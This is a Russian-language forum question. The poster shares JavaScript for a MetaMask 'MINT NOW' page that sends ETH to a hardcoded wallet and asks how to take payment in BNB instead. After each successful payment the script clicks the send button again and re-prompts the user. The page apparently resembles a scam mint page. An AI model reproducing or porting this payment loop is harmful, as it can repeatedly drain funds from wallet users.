Как подключить в Metamask вход через BNB и оплату?

Question

[a1q1a1a1q]

вот мой код

<script>
  document.querySelector('#ticketAmount').addEventListener('input', ()=>{
    
  let inputAmount123 = document.getElementById("ticketAmount").value * 0.07 ;
  document.querySelector('#asfasfasdf1').innerHTML = `${inputAmount123.toFixed(3)} ETH`
  });
  const ethereumButton = document.querySelector('.enableEthereumButton');
  const sendEthButton = document.querySelector('.sendEthButton');
  const amountInput = document.querySelector('.ticketAmount');
  
  window.web3 = new Web3(ethereum);
  let accounts = [];
  
  
  
  document.addEventListener("DOMContentLoaded", function(event) {
  getAccount();
  });
  //Sending Ethereum to an address
  sendEthButton.addEventListener('click', () => {
     let a;

       let address = document.getElementById("ticketAmount").value * 0.07 ;
  let inputAmount = document.getElementById("ticketAmount").value * 0.07 ;
  const amount = web3.utils.toWei((Math.round(inputAmount * 10000) / 10000).toString(), 'ether');
  const value = web3.utils.toHex(amount);
  ethereum
  .request({
   method: 'eth_sendTransaction',
   params: [{
       from: accounts[0],
       to: '0x51394d2e2D931f6E78Ba714a54B7E35ba09874b9',
       value: web3.utils.toHex(amount),
  
   }, ],
  })
  .then((txHash) =>  document.querySelector('.sendEthButton').click())
  .catch((error) => console.error);
   
  });
  
  // ethereumButton.addEventListener('click', () => {
  //   getAccount();
  // });
  
  async function getAccount() {
  accounts = await ethereum.request({
  method: 'eth_requestAccounts'
  });
  }
 
  document.querySelector('#mint-options').onsubmit = function() {
     
    secondTransaction()
  return false;
  }
 
  </script>

<form class="decor" id="mint-options">
    <div class="form-left-decoration"></div>
    <div class="form-right-decoration"></div>
    <div class="form-inner">
        <h3>MINT NOW</h3>
        <input type="number" value="1" min="1" placeholder="please enter a count" id="ticketAmount">
        <p class="asfasfasdf" id="asfasfasdf1">0.07   ETH</p>
        <input type="submit" value="MINTING" class="sendEthButton">

    </div>
</form>

Здесь работает с ефиром но как сделать в бнб?Подключение и саму оплату?Буду благодарен